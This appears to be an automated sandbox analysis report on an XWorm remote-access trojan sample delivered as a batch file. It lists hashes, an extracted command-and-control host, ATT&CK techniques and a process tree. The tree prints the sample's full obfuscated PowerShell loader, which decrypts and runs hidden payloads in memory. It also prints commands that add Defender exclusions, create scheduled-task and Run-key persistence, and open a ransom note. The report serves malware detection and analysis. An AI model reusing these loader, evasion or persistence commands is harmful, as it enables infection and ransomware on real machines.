xworm | 91813779ab003d08ee337226c9ba845aaca64098e9740e6aaf30a0c8fa833ee0

Analysis

max time kernel
150s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
25/05/2024, 14:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
coin.b.bat
Size 91KB
Sample240525-rcvsfafe67
SHA256 91813779ab003d08ee337226c9ba845aaca64098e9740e6aaf30a0c8fa833ee0
MD5 520c1190bbbe3a7359a6e72f76618245
SHA1 50d5e441a97aad127e8d5ad8c28c848b3be02c5d
SHA512 98ebc8ee9b1b1d7302a5771f1e6b174903a9c249459a98e57e8cd48ce8760997b414246c7c9f05d1ce08fa299dcc2496c389b4126af647e8f2a6e9f81d15f749
SSDEEP 1536:HtkPhsAgh2YhIXwWIN0hdI7E5WQTpJlqb3mE81vT1dkYHcga3kplWaEDN4nVoLuR:NeCAgX+vIuEE5PlJAb3mE81L1dkhX3mV
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence ransomware rat trojan

Malware Config

Extracted

Family

xworm

continue-silk.gl.at.ply.gg:58347
127.0.0.1:58347

Attributes

Install_directory
%Temp%
install_file
steamwebhelper.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1156-51-0x00000159699F0000-0x0000015969A06000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 6 IoCs

flow	pid	Process
34	1156	powershell.exe
47	1156	powershell.exe
49	1156	powershell.exe
79	1156	powershell.exe
81	1156	powershell.exe
82	1156	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2240	powershell.exe
4808	powershell.exe
1156	powershell.exe
3696	powershell.exe
4328	powershell.exe
4480	powershell.exe
1728	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\steamwebhelper.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\steamwebhelper.lnk	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5064	seroxen.lib.exe
4392	steamwebhelper.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\steamwebhelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\steamwebhelper.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1724	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
2240	powershell.exe
2240	powershell.exe
4808	powershell.exe
4808	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
3696	powershell.exe
3696	powershell.exe
3696	powershell.exe
4328	powershell.exe
4328	powershell.exe
4328	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
1728	powershell.exe
1728	powershell.exe
1728	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe
4392	steamwebhelper.exe
4392	steamwebhelper.exe
4392	steamwebhelper.exe
4600	msedge.exe
4600	msedge.exe
1868	msedge.exe
1868	msedge.exe
2060	identity_helper.exe
2060	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeIncreaseQuotaPrivilege	4808	powershell.exe
Token: SeSecurityPrivilege	4808	powershell.exe
Token: SeTakeOwnershipPrivilege	4808	powershell.exe
Token: SeLoadDriverPrivilege	4808	powershell.exe
Token: SeSystemProfilePrivilege	4808	powershell.exe
Token: SeSystemtimePrivilege	4808	powershell.exe
Token: SeProfSingleProcessPrivilege	4808	powershell.exe
Token: SeIncBasePriorityPrivilege	4808	powershell.exe
Token: SeCreatePagefilePrivilege	4808	powershell.exe
Token: SeBackupPrivilege	4808	powershell.exe
Token: SeRestorePrivilege	4808	powershell.exe
Token: SeShutdownPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeSystemEnvironmentPrivilege	4808	powershell.exe
Token: SeRemoteShutdownPrivilege	4808	powershell.exe
Token: SeUndockPrivilege	4808	powershell.exe
Token: SeManageVolumePrivilege	4808	powershell.exe
Token: 33	4808	powershell.exe
Token: 34	4808	powershell.exe
Token: 35	4808	powershell.exe
Token: 36	4808	powershell.exe
Token: SeIncreaseQuotaPrivilege	4808	powershell.exe
Token: SeSecurityPrivilege	4808	powershell.exe
Token: SeTakeOwnershipPrivilege	4808	powershell.exe
Token: SeLoadDriverPrivilege	4808	powershell.exe
Token: SeSystemProfilePrivilege	4808	powershell.exe
Token: SeSystemtimePrivilege	4808	powershell.exe
Token: SeProfSingleProcessPrivilege	4808	powershell.exe
Token: SeIncBasePriorityPrivilege	4808	powershell.exe
Token: SeCreatePagefilePrivilege	4808	powershell.exe
Token: SeBackupPrivilege	4808	powershell.exe
Token: SeRestorePrivilege	4808	powershell.exe
Token: SeShutdownPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeSystemEnvironmentPrivilege	4808	powershell.exe
Token: SeRemoteShutdownPrivilege	4808	powershell.exe
Token: SeUndockPrivilege	4808	powershell.exe
Token: SeManageVolumePrivilege	4808	powershell.exe
Token: 33	4808	powershell.exe
Token: 34	4808	powershell.exe
Token: 35	4808	powershell.exe
Token: 36	4808	powershell.exe
Token: SeIncreaseQuotaPrivilege	4808	powershell.exe
Token: SeSecurityPrivilege	4808	powershell.exe
Token: SeTakeOwnershipPrivilege	4808	powershell.exe
Token: SeLoadDriverPrivilege	4808	powershell.exe
Token: SeSystemProfilePrivilege	4808	powershell.exe
Token: SeSystemtimePrivilege	4808	powershell.exe
Token: SeProfSingleProcessPrivilege	4808	powershell.exe
Token: SeIncBasePriorityPrivilege	4808	powershell.exe
Token: SeCreatePagefilePrivilege	4808	powershell.exe
Token: SeBackupPrivilege	4808	powershell.exe
Token: SeRestorePrivilege	4808	powershell.exe
Token: SeShutdownPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeSystemEnvironmentPrivilege	4808	powershell.exe
Token: SeRemoteShutdownPrivilege	4808	powershell.exe
Token: SeUndockPrivilege	4808	powershell.exe
Token: SeManageVolumePrivilege	4808	powershell.exe
Token: 33	4808	powershell.exe
Token: 34	4808	powershell.exe
Token: 35	4808	powershell.exe

Suspicious use of FindShellTrayWindow 43 IoCs

pid	Process
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1156	powershell.exe

Suspicious use of SendNotifyMessage 40 IoCs

pid	Process
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe
1868	msedge.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1156	powershell.exe
1868	msedge.exe
1868	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 212 wrote to memory of 2240	212	cmd.exe	87
PID 212 wrote to memory of 2240	212	cmd.exe	87
PID 2240 wrote to memory of 4808	2240	powershell.exe	92
PID 2240 wrote to memory of 4808	2240	powershell.exe	92
PID 2240 wrote to memory of 4436	2240	powershell.exe	96
PID 2240 wrote to memory of 4436	2240	powershell.exe	96
PID 4436 wrote to memory of 1356	4436	WScript.exe	98
PID 4436 wrote to memory of 1356	4436	WScript.exe	98
PID 1356 wrote to memory of 1156	1356	cmd.exe	103
PID 1356 wrote to memory of 1156	1356	cmd.exe	103
PID 1156 wrote to memory of 5064	1156	powershell.exe	104
PID 1156 wrote to memory of 5064	1156	powershell.exe	104
PID 1156 wrote to memory of 5064	1156	powershell.exe	104
PID 1156 wrote to memory of 3696	1156	powershell.exe	107
PID 1156 wrote to memory of 3696	1156	powershell.exe	107
PID 1156 wrote to memory of 4328	1156	powershell.exe	109
PID 1156 wrote to memory of 4328	1156	powershell.exe	109
PID 1156 wrote to memory of 4480	1156	powershell.exe	111
PID 1156 wrote to memory of 4480	1156	powershell.exe	111
PID 1156 wrote to memory of 1728	1156	powershell.exe	113
PID 1156 wrote to memory of 1728	1156	powershell.exe	113
PID 1156 wrote to memory of 1724	1156	powershell.exe	116
PID 1156 wrote to memory of 1724	1156	powershell.exe	116
PID 1156 wrote to memory of 1868	1156	powershell.exe	122
PID 1156 wrote to memory of 1868	1156	powershell.exe	122
PID 1868 wrote to memory of 2252	1868	msedge.exe	123
PID 1868 wrote to memory of 2252	1868	msedge.exe	123
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124
PID 1868 wrote to memory of 772	1868	msedge.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\coin.b.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c8KZIt7om0GReP7FMEfz0SGLs2AMU+4GQioHMorebJA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aiKe9c65ZjFACO2EycWX2w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MEUKW=New-Object System.IO.MemoryStream(,$param_var); $piWSe=New-Object System.IO.MemoryStream; $AfYrg=New-Object System.IO.Compression.GZipStream($MEUKW, [IO.Compression.CompressionMode]::Decompress); $AfYrg.CopyTo($piWSe); $AfYrg.Dispose(); $MEUKW.Dispose(); $piWSe.Dispose(); $piWSe.ToArray();}function execute_function($param_var,$param2_var){ $eWsMy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mbrUF=$eWsMy.EntryPoint; $mbrUF.Invoke($null, $param2_var);}$OUKqL = 'C:\Users\Admin\AppData\Local\Temp\coin.b.bat';$host.UI.RawUI.WindowTitle = $OUKqL;$FwHhv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($OUKqL).Split([Environment]::NewLine);foreach ($oOibP in $FwHhv) { if ($oOibP.StartsWith(':: ')) { $aqXWs=$oOibP.Substring(3); break; }}$payloads_var=[string[]]$aqXWs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_164_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_164.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4808
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_164.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4436
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_164.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c8KZIt7om0GReP7FMEfz0SGLs2AMU+4GQioHMorebJA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aiKe9c65ZjFACO2EycWX2w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MEUKW=New-Object System.IO.MemoryStream(,$param_var); $piWSe=New-Object System.IO.MemoryStream; $AfYrg=New-Object System.IO.Compression.GZipStream($MEUKW, [IO.Compression.CompressionMode]::Decompress); $AfYrg.CopyTo($piWSe); $AfYrg.Dispose(); $MEUKW.Dispose(); $piWSe.Dispose(); $piWSe.ToArray();}function execute_function($param_var,$param2_var){ $eWsMy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mbrUF=$eWsMy.EntryPoint; $mbrUF.Invoke($null, $param2_var);}$OUKqL = 'C:\Users\Admin\AppData\Roaming\startup_str_164.bat';$host.UI.RawUI.WindowTitle = $OUKqL;$FwHhv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($OUKqL).Split([Environment]::NewLine);foreach ($oOibP in $FwHhv) { if ($oOibP.StartsWith(':: ')) { $aqXWs=$oOibP.Substring(3); break; }}$payloads_var=[string[]]$aqXWs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Sets desktop wallpaper using registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1156
      - C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe
        
        "C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe"
        6⤵
        Executes dropped EXE
        
        PID:5064
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3696
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4328
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\steamwebhelper.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4480
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'steamwebhelper.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1728
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "steamwebhelper" /tr "C:\Users\Admin\AppData\Local\Temp\steamwebhelper.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:1724
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
        6⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1868
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffed3d246f8,0x7ffed3d24708,0x7ffed3d24718
        7⤵
        
        PID:2252
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2220 /prefetch:2
        7⤵
        
        PID:772
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4600
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2728 /prefetch:8
        7⤵
        
        PID:2580
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
        7⤵
        
        PID:1692
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
        7⤵
        
        PID:3036
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5016 /prefetch:8
        7⤵
        
        PID:3020
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5016 /prefetch:8
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2060
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5084 /prefetch:1
        7⤵
        
        PID:4088
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:1
        7⤵
        
        PID:4184
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1
        7⤵
        
        PID:1804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,4659099455561363196,12351886982144823773,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5496 /prefetch:1
        7⤵
        
        PID:1692
      - C:\Windows\SYSTEM32\CMD.EXE
        
        "CMD.EXE"
        6⤵
        
        PID:5504

C:\Users\Admin\AppData\Local\Temp\steamwebhelper.exe
C:\Users\Admin\AppData\Local\Temp\steamwebhelper.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4392

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4844

